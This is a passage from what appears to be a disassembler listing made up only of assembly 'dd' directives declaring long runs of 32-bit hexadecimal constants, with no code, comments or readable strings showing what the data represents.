0FC9F7A6Fh, 3A7D27BBh, 5012742Eh, 61405568h dd 0E314BE9h, 0BBC49DF1h, 0B671AB7Bh, 0F62CF268h, 271CBACCh dd 9093859h, 862C916Eh, 270704CEh, 5B09CDE9h, 4475D9DFh dd 3B4DE159h, 0E97521FBh, 30EA3514h, 4F580F3Ch, 7768C0CCh dd 9F01A76Dh, 0EA6076D1h, 690F582Eh, 2777C74h, 48D81671h dd 4B8DE993h, 8585A9B6h, 41815554h, 269DFC7Bh, 3E8A8842h dd 0A809571Fh, 0BF2FACCh, 66834F6Eh, 0CAC0B956h, 0DA67A36h dd 0E006E90Bh, 22EC3B46h, 0E9DF19B3h, 0E1B3F977h, 2B9445E9h dd 0F513D2A6h, 0B3BE613h, 7E9E0EE9h, 38092D0h, 0E38B0F56h dd 77977CBEh, 16E91DA3h, 51BD2AAEh, 8ED18BD7h, 7941F74h dd 144C11C2h, 0B432FB5Eh, 0C1CEA55Eh, 0D68BA645h, 8EA5FE52h dd 0BF649161h, 406BEC5Eh, 180335EEh, 1D1B3A5h, 0B902E0C7h dd 14F4BFFEh, 6DD582C5h, 0AD4705EFh, 0AD24FF60h, 0D894BD04h dd 53C222BAh, 0AE6FAF8Ah, 3780DB1h, 88F87FB7h, 5CCD8A82h dd 65E85457h, 4A8349CAh, 0CFE6BC0Ch, 0AA18A604h, 248BD029h dd 0CE80116h, 0BFA0C537h dd 0FB179D3Ch, 7F8950B7h, 60460C1h, 33F13503h, 0A2DE8D50h dd 65B57392h, 0F9B6AF86h, 0CAAC32D3h, 0D0B35380h, 0D9E05EB1h dd 0E9C24DBCh, 1CE4766Ah, 3B72E731h, 0B0737C20h, 215F1632h dd 84A4FDC8h, 0B5B4B2E5h, 254500CFh, 4F020515h, 0C13B4273h dd 0A42D02E0h, 0C811604Ah, 5BF1E9E9h, 1DBDA33Bh, 8A494BBFh dd 0F59189F4h, 0F89FC4D8h, 5D2F4B32h, 7FDF84C3h, 0D77782EDh dd 4D5DEA6Ah, 37EB21Ch, 3505A680h, 200010DBh, 199F250Bh dd 26E97CE2h, 83ACBB66h, 76422996h, 0E34995D2h, 2C17D968h dd 603BC07Ah, 26D10684h, 3F24EE6h, 399C18D7h, 13690C00h dd 74E923FAh, 0BC9BB9B8h, 0EE451A1Dh, 94A065C2h, 75E7AFADh dd 451F0701h, 60D0894Ch, 39D36D05h, 4ED646B0h, 8075FD5Ah dd 139320E0h, 4A73FC05h, 0B30E82BBh, 94D48803h, 7ED7E982h dd 0E57271Ah, 29FA9688h, 6B0D4205h, 797D1841h, 5CC9DEF1h dd 3CA7713h, 7032EF40h, 2815FC30h, 0A965B3h, 0AA0B0554h dd 7FE9B02Ch, 55FF952Fh, 40DF5496h, 10D075C6h, 0F75CBD0Ch dd 0FE50C040h, 46F6A169h, 20F9CE50h, 527502FCh, 355EB951h dd 4CBA1860h, 0F25EE671h, 0B387F3BCh, 8B85FAh, 627ECFADh dd 0D67E2939h, 3008EE51h, 0E5CE1E87h, 0E8884753h, 6F258229h dd 200CC406h, 48BDADAAh, 91B6365Dh, 0C3D61D43h, 0F9297237h dd 886C1C2h, 0F7C1E5Fh, 0F0E705Ch, 0CF15C4C2h, 41BC6938h dd 126F5895h, 2B95FF56h, 283591EFh, 74F6985h, 29B30A0Eh dd 5FEEB2B2h, 9E20E9BBh, 7F70EAFBh, 1A5D9529h, 0A20F9089h dd 0E1C280Ch, 6B7C09ACh, 0D9D45DACh, 0FEC47384h, 96856E4h dd 4A795806h, 0EBC0E6FCh, 4B214725h, 0BCC12D0h, 0B25703D6h dd 5825F0Ah, 81008661h, 0A6F45E2h, 0EAD10BF4h, 7A7F02CBh dd 51FE20C7h, 0FDE7091Eh, 6088A415h, 196805DAh, 739DAF3Ch dd 49188C79h, 0DFF6CA9Dh, 102A5078h, 0F105999Eh, 18D70C5h dd 0E4EB5CBBh, 137C0F38h, 0A75EEBEh, 2517B493h, 4E7EC4D5h dd 6A86E11Eh, 4E9DE298h, 0C0ECB852h, 5676753Eh, 3CC07BEh dd 84E9E1E2h, 0D2B6FC94h, 4B7B87EFh, 0AE80B7DEh, 112F761h dd 0FC5148C3h, 670A1605h, 0A0F88041h, 6458326Ch, 0CB791792h dd 8882DEFCh, 0E9028A6Dh, 0F7D662A1h, 0BB793EEh, 0D7896CE1h dd 31624963h, 0A2C1D1DFh, 0CCE916C2h, 2C3EF7FEh, 0E40C9555h dd 95EF6BC9h, 6F580FDFh, 27EB9623h, 0A43E8295h, 0A03F14FDh dd 263DE615h, 2CC4326Ah, 0E58B1D09h, 0F17D3E09h, 0DF29C396h dd 8DEF4C4Bh, 0DCCB3A96h, 5847D910h, 489316FEh, 4F806216h dd 2CB15159h, 17EDC071h, 2C090780h, 90AC747Eh, 9CABB10h dd 0A683134Eh, 1141392h, 0E0E017CEh, 1E04BDCFh, 837BAC61h dd 26D21887h, 0C213776Ch, 7DD8FBC7h, 0E92DD19Dh, 25A39BF7h dd 0E4FA8D66h, 4730AD06h, 5DE526Ch, 0E908016Eh, 6678D24Bh dd 63B2DB82h, 807E405Dh, 0E9BE09C3h, 0C4A51AF3h, 0A0C20EC6h dd 5ED92DFEh, 0B0EB648h, 6D099731h, 2D7B7EC3h, 120816F3h dd 7584634Dh, 0A4F7DB3Bh, 5B97F115h, 8AD722F2h, 0E9540506h dd 9CFBE17Bh, 681758AEh, 3CE620AEh, 7628BA93h, 57D42F68h dd 9D4A4F46h, 0F94F3CACh, 0FF50A25Ch, 0FA62563Ah, 3D717357h dd 4AE4979Bh, 0EB63C1C2h, 544EABB4h, 753149ADh, 68FC7F16h dd 594CF03Ah, 0F47B20AFh, 7A5D7CA7h, 2E72720h, 78523359h dd 0CF6EB79Eh, 0F651E912h, 0EA49D5BFh, 8E022144h, 8807E514h dd 0B4AE6FCFh, 1A9A841h, 0EF166EBFh, 0AD6E8972h, 0F6810EA0h dd 1D490E4Eh, 2BE84BFh, 50BA3EF9h, 164C0841h, 206A417Ch dd 6997ED25h, 0E32F3016h, 76AB409Ch, 5E220407h, 7861E2BDh dd 16A6E947h, 0B050608Eh, 0E827C0CDh, 1DF1F004h, 87D820FEh dd 0B4162C5Bh, 0AD04FF12h, 79EF78B1h, 45A46AE1h, 60DB4180h dd 138CEB3h, 0E27B078h, 0BE7F8EEh, 0F1312B3Ch, 0A650D785h dd 70E05F04h, 2E24E645h, 396AF329h, 2BC4EEAh, 70F91089h dd 925005Fh, 93127E0h, 0CE5E9EBh, 0E1D2AEA4h, 72742E10h dd 70FF3CD4h, 3657686Fh, 0FB0BA6A8h, 0CA7A5581h, 0F42010B9h dd 93D3FD4Bh, 59BE90BFh, 0F9BFFEF7h, 28915AB6h, 0C3883F52h dd 91D139F7h, 860FD883h, 4C4EADEAh, 0E91691EEh, 51162F5Bh dd 0E9C2B5E3h, 0F2763C4Fh, 98E1C1D8h, 0C8A620F6h, 701B54D9h dd 733FE4h, 52455355h, 642E3233h, 41E06C71h, 91564439h dd 4EC74950h, 1A4CE754h, 5E01A30Ah, 90AE915h, 0C81C13E2h dd 0B45F0EBBh, 0F105FD29h, 0AA0A08A9h, 24C9B142h, 2C8625A0h dd 21964215h, 9E8C105Eh, 8221CCD1h, 7888F010h, 8BF50680h dd 1CAA4EEAh, 80F35DD0h, 0EE269223h, 5700C16Ch, 0A53BBAC2h dd 11484h, 475EFA7Bh, 6B8C28C5h, 309C1100h, 0B0D5581Ah dd 0FBBB0FF6h, 15E970FDh, 0EE78BE80h, 0C400F3B3h, 871D305Ch dd 17717AABh, 1F68F87Bh, 0CCFCC0F0h, 759CF5Eh, 0FDEC5Ch dd 28B446D4h, 1FAB7BF9h, 0D7D119h, 37B56B27h, 0F100158Fh dd 0B94D5D40h, 16984E1h, 12356CFEh, 0C055F226h, 0AB77EBA6h dd 6546B007h, 80B0A93Fh, 18680295h, 1DE3A3DEh, 0BB73772Dh dd 0EC1C7400h, 38944E08h, 0D2630016h, 8012DBB6h, 0D87D6EFCh dd 0A748600h, 0EBABE670h, 3EC7066Ah, 0DE2A2DFh, 1C0F327Eh dd 0C027AA86h, 7D81061Fh, 0F65F6E4h, 7DF6D8Eh, 0D40E800h dd 9002055h, 38D2C632h, 25B33Eh, 11C27047h, 758EADDh, 0C5014F9Eh dd 7A9E3ABBh, 0C36DC0h, 76A2532Dh, 0A7119C1Eh, 4BEA9200h dd 0D16454D5h, 0AE0A00ABh, 0DC78F577h, 0AC70413Bh, 0E588EA01h dd 2B6B2680h, 0D780D057h, 0A04AF1h, 0F56020D1h, 7F0DA63Fh dd 47D2A700h, 11AC46D0h, 1B5207F6h, 8739A9EFh, 5F8C538Bh dd 0F2930200h, 37B0DE88h, 0C9E0004h, 5ACBAE40h, 0C171E3A6h dd 0E13DD31Dh, 35911783h, 32C0EC22h, 0FC89F3h, 3C833CFh dd 0DA27130Ah, 6A804C09h, 635D8008h, 0E889C519h, 12980011h dd 32340E70h, 0CB5A8D22h, 48E3D0C0h, 2B850028h, 5CF87507h dd 2D12C0BAh, 4B409383h, 46D65F1Dh, 0F17FE1h, 0EA3B9518h dd 0C669CB6Ah, 9D3FB60Ah, 0F01877Fh, 0FC9E1E93h, 44768D40h dd 0ED68066h, 0CEA8421Eh, 0E8917B80h, 9DBD92Bh, 3F158430h dd 2CADED26h, 0C9DFD238h, 73310074h, 9FF250DDh, 14C56043h dd 0C8651725h, 0D9A9500h, 5797067Bh, 163760B2h, 0BA78E5F7h dd 20A4E707h, 60FE6F0Dh, 0D16B3925h, 9AE20075h, 0E696B91Bh dd 4854A91Eh, 0F4A0F983h, 9EE670C4h, 0AE3C4607h, 0BE935642h dd 918EC3h, 7DC1574Dh, 2AAAFB63h, 213CE38h, 0FD8C0597h dd 90AB43ADh, 0FEA46EFh, 0AA43640h, 73AE17E0h, 1F303128h dd 3A87D45Dh, 0C9D0A067h, 0E6E4D8h, 0BBE92FC7h, 9A1A9721h dd 200F87F2h, 0F4C0287Ah, 0C86F30EAh, 0C01E5EF1h, 0D6564F54h dd 9900BE1Ah, 373BC0D1h, 1CD52690h, 0C0B7456Fh, 9835C755h dd 6D0008B8h, 8E6A7AA8h, 0D46652h, 0A1CD0FAAh, 5D913C31h dd 97C3FAh, 2050FB56h, 0F23008Dh, 0C254C06Dh, 9B0035B8h dd 0C864098Bh, 1EDE5725h, 89E94Eh, 0E2339D10h, 6102D362h dd 9507AECEh, 179D4087h, 9616128Bh, 7E0802FBh, 141E1E4Ch dd 0B2C2A2E9h, 0EA738900h, 0C7A1E86h, 873007E4h, 851B1B81h dd 35A73F3h, 201F8A7Ch, 0BDF8FB1Dh, 59019127h, 31DA956Ah dd 9E78D584h, 39ED5071h, 28B800BBh, 2E5387CAh, 6C00E8C3h dd 5250ACCEh dd 772ABCh, 37B4F8E0h, 45A14C56h, 4889903h, 90E6712Ch dd 1387AAE7h, 32FCBDDh, 0D7EA839Eh, 0D0C4E4E8h, 0B8C6C6A0h dd 80FA1C1Eh, 0F64ECC45h, 6A4518C0h, 208A3F9Ch, 8849F000h dd 94030538h, 483B62Fh, 40870C1Bh, 0B7F642C0h, 0BDB8002Eh dd 2234902Ah, 0C8048458h, 6DC55BD9h, 9FD37981h, 0F2E33620h dd 909EE2CCh, 958C0F30h, 0D9A4CF17h, 928080FDh, 691318FCh dd 0F11E8246h, 53E572C7h, 8110C867h, 484E99h, 7E089E5Ah dd 9C3842D6h, 82037928h, 360B582h, 490E4CD9h, 0C048CE70h dd 3F1733CAh, 82A80006h, 10927EBAh, 0FE1279CCh, 9000BB5Fh dd 4A47D167h, 9330032h, 9620824Eh, 52002CCEh, 0AFDB71A3h dd 26BCF58Bh, 3FA32FCh, 24F88E14h, 62F05401h, 36B125CCh dd 8C1E530h, 4735A0Dh, 20A04B0Bh, 901D5FB1h, 68120024h dd 0B93B6BC5h, 75019834h, 39FE6E07h, 6634B459h, 63120192h dd 0D75E1E31h, 8A5C865h, 463B671Ch, 5007FA52h, 0B321BCCEh dd 0ECFC37A0h, 0CAFD4C6Ah, 0EA7C2600h, 0FE612150h, 0F1B32AC0h dd 6327AF39h, 0B4C47D10h, 52890ACh, 0B59863DFh, 7067FF0Ch dd 9914BB16h, 0C2B802B1h, 0EA408133h, 0DC603460h, 9A4D097h dd 3A962693h, 0C7A673h, 7D923EB7h, 0C6007203h, 0C2AB4A34h dd 61E9A9D8h, 112B90F9h, 2CAD26B3h, 84004AC9h, 0DB09171Ch dd 16EE3811h, 296249Ch, 0E5A5DC76h, 2F3E607Dh, 61BD0175h dd 1AF9A074h, 0DF037B93h, 74880879h, 0B2C000Dh, 9E4DE371h dd 0B390AB21h, 0FD40417Dh, 98448861h, 3B0B890Fh, 582DE3A9h dd 0C1B0E8DDh, 5AAA4872h, 23CD3A30h, 0A53A49A1h, 0C35180C9h dd 0ED789032h, 98287844h, 8F6B1CCDh, 0DF5A4E5Eh, 10C406F3h dd 0A648440Ch, 0F48E026Ch, 400AFDBDh, 8D177Fh, 97EAA4A5h dd 0E477D07Ah, 4F02D9F8h, 2F0B7587h, 0B444615Eh, 891BE0h dd 0C9922BB5h, 0A2DA7F04h, 40423Dh, 3BF7B325h, 158CB66h dd 727A6929h, 60F9AB78h, 0C83FA021h, 0E87F013Eh, 92A420BAh dd 0CE5F40D6h, 9850172Ah, 0CABA050Eh, 27BC812Bh, 517B70EEh dd 36229101h, 0BA2D218Ch, 0A0C4976Fh, 6AC66F09h, 3912B4E4h dd 5F00799Fh, 0DD50D2C2h, 9EDE0573h, 88A09917h, 2B097AC5h dd 0A0A804A9h, 3C3EDCB3h, 9ECC59B1h, 30AF824h, 0B3A51B31h dd 889F381Eh, 960EBC80h, 5C5E2036h, 350C786h, 732D489Dh dd 0A700D03h, 8E050399h, 2E7418D0h, 481F00C2h, 31722FAEh dd 0E25E9232h, 2383D8C0h, 0EA6ABB00h, 74A0881Ah, 0F9901E3h dd 61C9B347h, 80E8D3CDh, 70BD957Dh, 9090F8h, 23F57CFEh dd 933409BCh, 846C4313h, 91BA6280h, 0E24E39E7h, 17812C00h dd 5AF67F01h, 73D4A58h, 9F16668Bh, 0A54828B0h, 0F25E02D7h dd 208C21A3h, 0A68B59C4h, 0C6574AA1h, 83B99248h, 94EFDD48h dd 805D7066h, 1290012Ah, 0FE1F2726h, 33E18647h, 0D8603D99h dd 8E5600D0h, 6DB1769h, 0E0607AF1h, 0CD116B12h, 8A7B13B7h dd 100C40FCh, 9A34B292h, 15A7E730h, 0FE759F90h, 0DEDD00F4h dd 275AECB6h, 717F2E67h, 3FFBA900h, 3E06769Bh, 2612FAA1h dd 0BF266Dh, 43D155C7h, 0B7031FA9h, 0EBABDE5Eh, 25380020h dd 7B2EB37Fh, 0D31C65E2h, 21584839h, 432311Ch, 63192745h dd 9EC4EE1Bh, 4BE25EC1h, 77BB20BFh, 4DEBA600h, 75C95F15h dd 0DDB35926h, 50FA6200h, 602F6F22h, 0C3E1C0D8h, 2600802Dh dd 8D08788Fh, 0F22C810h, 2948E2D6h, 7B5673E0h, 7D3A0F84h dd 66673004h, 80168Ch, 90BA22BCh, 0EDB0AE6h, 682A23Ah dd 0FC710329h, 2557006Eh, 4B6FCBD9h, 12B8E1A1h, 0B9850700h dd 3B49952Bh, 4F5903A5h, 66BCFCB5h, 11545C24h, 6F233604h dd 68193281h, 0CC7950EFh, 3D80B24h, 28215CFDh, 0C43ED37Dh dd 87EA11ACh, 8CBF4600h, 0DA2B47B3h, 83A53A0Dh, 0F821C03h dd 4800768Fh, 0E3D72381h, 19872E4Eh, 0F29ABF27h, 2301C759h dd 9501E9BBh, 9EDCF480h, 463F007h, 5C7852ECh, 91489094h dd 0BF1E5E7Eh, 1980E075h, 0FEBEF38Dh, 1644C072h, 0DA70A48Ch dd 0B0181D9Ah, 0CAC056F8h, 0E87C34h, 18C4C21Eh, 0DDAC84F6h dd 9C0C1739h, 474BE6C0h, 622208Dh, 71C3B95Eh, 0FE0B3DCEh dd 15C4697h, 793968B0h, 9B14800Ch, 1BBF7B09h, 9EB100F1h dd 0EAF448DEh, 0F91C5553h, 72584E43h, 0DCC62Ah, 0D4A14149h dd 0FF3D0628h, 0CF5D3100h, 0DAA2B763h, 0A54F040Ah, 0C02AC004h dd 333027CFh, 5FDD3404h, 96C792CEh, 41EB45C0h, 1AEF0037h dd 83FE881Fh, 57139F50h, 5B1E6677h, 52E47341h, 33D52EB8h dd 6815F8h, 0B736C7DDh, 0D09A8C9Ch, 0AD5C941Eh, 6F697380h dd 9007DFC5h, 2E009218h, 89BE1E58h, 78083F9h, 5BA538C9h dd 44B47501h, 3DDF09B0h, 4A2E002Ch, 7850973h, 0BA504203h dd 1D947C00h, 0EB555A9Dh, 0C52D1C77h, 70F5C0A9h, 0EEE8A1E7h dd 2263B0FCh, 39603C5h, 6970D2Ah, 64EB8B35h, 2E42AED8h dd 36D7F91Ah, 749E0098h, 1841AA8h, 0D3AD4FE9h, 2C0C5C73h dd 54E6017Ah, 0ED3C3BD2h, 0C623760h, 4A4D7FBBh, 0FF900FDCh dd 5B77CF04h, 2C80C4B4h, 387FC745h, 669DBE53h, 69B5C56Ah dd 6F14C16Dh, 0FC882163h, 0A916D367h, 0D7B15E55h, 0F5A4AD3Fh dd 0BD8A29F0h, 9962BCD4h, 3CE2F92Bh, 0EBC74C03h, 30F15B07h dd 9CBC2B39h, 468F53A0h, 348B0816h, 3BBD95FCh, 0E9F0E5BDh dd 37B8ABC2h, 9B4DDD0Fh, 833760BDh, 0EDBE0DC1h, 0B8C2F0CBh dd 0A2CF6099h, 0E0FFC503h, 0A5D4F800h, 0D51C3D58h, 0B161007Eh dd 56EA4F32h, 0AF0A64ACh, 0E6141D18h, 362B2000h, 160652Ch dd 25CBDA6h, 0C30A1B70h, 40E4ECD0h, 0AC612912h, 0FA419900h dd 5A426Fh, 338C2A6Dh, 0C79A4AD6h, 8B1ED200h, 0D91F704Ch dd 5E420023h, 6D562B0Fh, 0B03696Fh, 63C8EE26h, 0E368D86Bh dd 92481F44h, 0B2A380F0h, 0EFAD304Ah, 0B67C6209h, 77FA0096h dd 1C23CEECh, 1BE4DAh, 65201C9Bh, 20BD11E8h, 0C6B49F07h dd 0AA100E2h, 0CEDF62F5h, 1A0BE488h, 85BC9704h, 0AC80B2F8h dd 0C064BEC3h, 79C48036h, 0F7CF633h, 0A04D066Eh, 1B17D6D8h dd 34FF0657h, 1D05E81Eh, 0CFCE9C03h, 1664BD0h, 5AF47E28h dd 40E9605Fh, 0B00ABA12h, 8B66BFA0h, 8161F000h, 140407F7h dd 0EFC6305h, 74E0E00Eh, 37C00BE9h, 0DA41B950h, 2CBE0245h dd 729D8C1Bh, 19BA1E40h, 0F28F27Ah, 0E8507884h, 0CC069957h dd 0BE3F0482h, 4CCA0194h, 0E8575AD1h, 3425800Eh, 0ACC55E69h dd 0D30C001Bh, 0CA9BE4E7h, 8A2D76FDh, 334BC0E3h, 0A88300Fh dd 0D4BF6035h, 2D7F941Fh, 61C6183Bh, 0C83CA08h, 7E902EEh dd 5902C72Bh, 8FA362D1h, 9A463C6h, 9C48FEE4h, 45202855h dd 0E9C94230h, 6111C32Eh, 0AD900646h, 0C3AC603Bh, 0BD086ECh dd 0DCF504D4h, 40AFE961h, 718F6408h, 6C002BA2h, 5FE8925Eh dd 0BCCB066h, 5DE26A0Bh, 7B91DB00h, 0E4E44FA2h, 0FEEAE107h dd 1187AB82h, 2C0A987h, 0C7B6CD78h, 80B9A208h, 117F60F8h dd 21CE1AB8h, 82C8834Ch, 22110179h, 2968FD8Dh, 811C4547h dd 8063CDA1h, 37C0CF11h, 800AC293h, 4B08B44Fh, 961E2668h dd 5C4C0382h, 1038638Fh, 85628402h, 4926652Bh, 881C5B40h dd 0A574F982h, 270450A4h, 98830B03h, 33C2805Fh, 0D244CD68h dd 636776B8h, 0B4417608h, 4FECA37Bh, 8120DD53h, 0DBC2E8A4h dd 0D7108041h, 0F3A1BF03h, 4325070Ch, 4097CEEEh, 0F2F878FBh dd 0AB831800h, 7CBF8FDAh dd 790A0F26h, 0A604C6D5h, 0C83069Ah, 0BC570389h, 0AE3BF7A8h dd 94D280ADh, 6E1E09ABh, 3000ADA6h, 677BAFB0h, 1E04E8A7h dd 0D0864Fh, 8BCBF5Ah, 0BA3A8236h, 0CD007D02h, 0B5A04903h dd 0F6935928h, 0BD4D1D11h, 0A24740D6h, 9549F4B0h, 37F5AF03h dd 0DD09B1A6h, 78273828h, 0E9B87834h, 228C184Ah, 1A78BE08h dd 69B0A060h, 0F7ABB7h, 2802B853h, 22ADBC34h, 0D24F5000h dd 0D1A033F5h, 1567816h, 0B34DF3CFh, 40A229CBh, 17DF9C68h dd 0B26A93F0h, 4A31C39h, 48D12BE2h, 1529E35Ch, 0C88C5D3Eh dd 38D48E02h, 40280Ah, 0CF4095D9h, 30A56503h, 7FC0CF8h dd 5278B419h, 833F228h, 18747A48h, 3642E697h, 50527960h dd 12792C78h, 11F52E18h, 368D0CA0h, 0FD0C1D88h, 0D30B8F7h dd 59B5E694h, 8537A090h, 70C629EEh, 0AA9F1240h, 7874437Ah dd 590A4A18h, 78EF0EB9h, 6714F5A4h, 0DFF22158h, 0C8EF1A90h dd 37E477E7h, 0BEC0DE3Ah, 602B6939h, 495C78A2h, 0ED06CC6Ch dd 28E4B201h, 2F4DC007h, 0F4B402Dh, 91219F38h, 0EA2F04AFh dd 0B8C05DBFh, 352A48Dh, 27A50DC6h, 1904B80Ah, 58266902h dd 67D8FC90h, 0B09C4CF6h, 93E7E503h, 0C0A1648Bh, 780C4347h dd 3415C3D9h, 0DE509514h, 0DBE02758h, 64A7E229h, 0A4111FD1h dd 8AF03042h, 0BC048CAAh, 0B808243Ah, 3A7425Bh, 0D60180C8h dd 4C19A161h, 0F84C9743h, 62E0A252h, 835C4170h, 37482009h dd 0C5401B8Bh, 68F9C179h, 5B8C4C53h, 1E4358Ah, 2D1B4DAEh dd 647C32C2h, 9026B198h, 4A161042h, 4CF8414Eh, 0BCD77E98h dd 0DAA69418h, 0E028CD88h, 6442AC31h, 98621254h, 403A9413h dd 0E1E0D49Ah, 831AE212h, 28AE0C22h, 0A3BD5180h, 0E10A0C99h dd 451C8C7Bh, 4E22C3Fh, 116729FEh, 0D97BE88h, 0F48410A6h dd 1041E21h, 4058B1B6h, 60924D23h, 5709BE12h, 256F2832h dd 72807279h, 0C20CA0A8h, 8C808EBEh, 8BAFE71Bh, 42F60C99h dd 0A804A5DDh, 16329AC6h, 3B518028h, 170C99A3h, 3B561F47h dd 23AA9C49h, 0EB43D49Bh, 9F4FB164h, 624121A0h, 1441E26Dh dd 9AA11268h, 2574C4D8h, 0DC0AD026h, 5CB8F850h, 0B8158A8Fh dd 49C43EE4h, 81DFA8A6h, 7959CD0Ch, 0D8885204h, 6C92816Fh dd 4CAA2F58h, 0B5512C4Dh, 46CAF81Ah, 3905F85Ch, 10601288h dd 85444A2Ah, 78F18724h, 9176FE0Fh, 0A014DA14h, 0CC08DC51h dd 962912A6h, 918400E8h, 7DA286AAh, 0CAC49250h, 0EE88FE7Ch dd 29E380ACh, 3C23A891h, 0B91C7202h, 0E88A3CFDh, 92373C38h dd 2A8FB77Fh, 753C8ED8h, 0E2662313h, 381EEC2h, 0A6C8808Dh dd 90075E49h, 4F6924CBh, 0E0701F83h, 7C5B22DDh, 0A2272895h dd 0DE9D3E14h, 4826717h, 0E426E224h, 0C007B67Ch, 343170B0h dd 39B0B809h, 69F4A146h, 1BB320C6h, 0D83B5728h, 43931242h dd 8AC6014h, 4CD6A3Bh, 114D0DEh, 13A610A3h, 44C87430h dd 9B14F45Dh, 0F120DD9Fh, 481813E1h, 153D80Fh, 0BB96012Fh dd 83451CDh, 9E3F00C4h, 5E0F911Ch, 0A900E714h, 65AF3775h dd 2951FBE1h, 82D4A15Ah, 0A6833B80h, 0BDBEBC48h, 52BF9005h dd 88400B26h, 53EEF56h, 8BD20185h, 86279583h, 5215DC43h dd 93089160h, 8013A47Eh, 5C011AA2h, 2F4B1197h, 0A0F3A514h dd 19B2A84Fh, 41940D6Fh, 19C098D9h, 0FFF7F221h, 16B0F0A8h dd 462B654Dh, 183D46A8h, 0A768E0ECh, 521D80A9h, 9337D502h dd 3AC46483h, 3901B04Ch, 2B5FE35Ch, 4829CAh, 7A3D3E59h dd 233370h, 0C779977Dh, 2BA4AC5Dh, 0CA6BFC00h, 0FDDF5C54h dd 0D3617DD6h, 1FC41280h, 0E274A68h, 1DE28A88h, 178B0CABh dd 0D1CC83C8h, 1CCC211Bh, 1FE715h, 83314137h, 0FE2819E2h dd 0A702B8EDh, 3C5B7EB0h, 3200FDA9h, 5186678Ch, 92C30D00h dd 9EF344A5h, 0C29F124Eh, 23C0480h, 2844C0A7h, 0D1C040CAh dd 5AA4DA6Fh, 47CE1CC6h, 5209F3A6h, 0D28F2118h, 148B72DAh dd 68411DEEh, 0BDECA802h, 0CCC00DB9h, 644D2A90h, 5F581C54h dd 5EE2A600h, 66FB0E63h, 21530866h, 1E572538h, 0E740375Ah dd 0F493FBE4h, 0F94A0C5Dh, 16E1F392h, 879A2812h, 5FCA0C06h dd 7CFC0191h, 0B1FF4345h, 1B10C472h, 0D2E4600h, 0AFBB1298h dd 201D48A3h, 0C52BD814h, 5A12F33Ch, 802C1396h, 24F277ECh dd 0E1ECBA0Eh, 4824802h, 0C0DD3767h, 9FD3ED7Ch, 0D550D274h dd 86505FD0h, 3E8C159Ch, 0C691A4A5h, 806A88A6h, 7A4DD80h dd 7609856Fh, 80050A4Ch, 0BE954715h, 0A46C50C9h, 0A91F00A3h dd 3FC8EBFAh, 0C210933Bh, 0DA0165A1h, 2BAFF51Bh, 349C506Dh dd 6400AB89h, 0A30AE33Ch, 18AE5CFFh, 0D82D2B3Fh, 9E7211ECh dd 0B0C26490h, 22512A69h, 2C481026h, 0A0000F55h, 87FE4DBBh dd 1862A721h, 40F80BADh, 0D8831B2Eh, 900A9D39h, 0BAF830h dd 2D440ECEh, 226BD962h, 0DE33100h, 6E7F70A7h, 58618A81h dd 40CF3041h, 4A0137F8h, 0FD6D7B1Eh, 81801727h, 16E3B0EBh dd 0DD7FD196h, 0A12A0600h, 88B8A898h, 1FAECB3h, 20F163A6h dd 0CD1145B9h, 3ED042BBh, 4B948322h, 4AD490D4h, 0B5CC0739h dd 63D9D1F1h, 0ED823CA6h, 50D6B482h, 0C6CAE480h, 520747E6h dd 64A983A5h, 0FC85A134h, 10BC1811h, 1F7D7A6Dh, 80F30975h dd 51CE5A64h, 0B7E62D81h, 0F7F92B09h, 48B40D8Bh, 24205830h dd 1E887BB5h, 402C66D2h, 134D9782h, 0EE192D7Ah, 9F092567h dd 4062219Dh, 0D5B19C4Dh, 0C7047A05h, 22688D1Ah, 0F27A242h dd 0E4B47CDAh, 481474A4h, 0AEE519C8h, 14109570h, 1700E15Dh dd 63C9863Fh, 0D70C26h, 0C8FFA299h, 41A50F40h, 0A94C94FEh dd 0E61184BCh, 505384D8h, 4982E0ECh, 80183869h, 424B21A8h dd 6F15301h, 5C75956Eh, 9F121832h, 0D8B403DCh, 0A9E96858h dd 0AF0880DAh, 59A39A44h, 2669281Ch, 0C4AE486Ch, 55D85A09h dd 1362005h, 0DBD28DA0h, 0B4D03047h, 45606474h, 39128A31h dd 88F42C8Ch, 0C182D30h, 0D80042B8h, 95FA0104h, 13521A61h dd 49ECA090h, 14108038h, 143CAF3Fh, 0F9A28F2Eh, 585C01Dh dd 0B1C42Ah, 386AE432h, 0D840AD96h, 91830218h, 76739h dd 0D38A6C85h, 0F6BF496Fh, 7B7F1414h, 54D88580h, 8C45881h dd 0E70B9984h, 1128A035h, 92CAEA00h, 0D69544CFh, 18626981h dd 5E1C8C84h, 0CB69AB07h, 0F3BA2510h, 73CF00FBh, 0F7782CBBh dd 0E2007791h, 0A995639Eh, 59FFF22Dh, 0AB317062h, 695B10h dd 542968C2h, 0F8CE908Fh, 48B0FCD9h, 4D0F1CC3h, 9E890DDBh dd 0C05DD4B1h, 6E46E2A4h, 3B385F22h, 0AB120055h, 542F2C5Ah dd 7623F275h, 0DBDA2C98h, 832B8DB4h, 54D64731h, 0D8A8C0E3h dd 4EF07A5Ah, 0F028309Ch, 2618B209h, 0B08F08DBh, 467E9D80h dd 39F444DEh, 9A8F4B50h, 1000DAD4h, 0F0BCB480h, 8340B4Ah dd 4D74EA00h, 0F46D089Eh, 6790305Ch, 0A6FD0681h, 76FA8000h dd 212F3863h, 205CB045h, 0CA5F798Dh, 1A085C40h, 1362368Ch dd 40613E66h, 0A0AA430Ch, 0A662F878h, 0FA885C71h, 0D7ED004Ch dd 626A409Fh, 1D5DDF58h, 0F03A932Ch, 8091F23h, 0A544803Ah dd 9528A95h, 5D69739Fh, 0CE9358A2h, 83022C44h, 5F110FA5h dd 0C01CC35Ch, 13D869BAh, 1722E9Fh, 5201EFC0h, 41B983B0h dd 64EFD70h, 267FD8F1h, 790B289Eh, 102A9FC6h, 7878722Ch dd 0AA460257h, 686B30B1h, 344398C2h, 9D632AD6h, 12E2ED38h dd 0CAAE4E70h, 62BF12BCh, 809D489Ch, 0F724E2ECh, 8B823C11h dd 446FB9E6h, 93FF2090h dd 5F940109h, 418C4E97h, 11200F19h, 0C4909758h, 19048C7Ah dd 0F78BADE7h, 0C8201A62h, 0E2A4E711h, 5891043Fh, 0B073A37Bh dd 0F272E17h, 70D8202Bh, 0ECEE04B1h, 0FA8E810h, 4E7D4611h dd 8B62FDC0h, 4464F5D6h, 4B25D98h, 77D2200h, 0ABAA6EE5h dd 4543CE0Ch, 25BD5030h, 0D407685Ch, 754E4F2h, 0A824A01h dd 790870E0h, 0D6ECA4h, 29B4FAB8h, 4EADA8D1h, 95BE4718h dd 72E4FB68h, 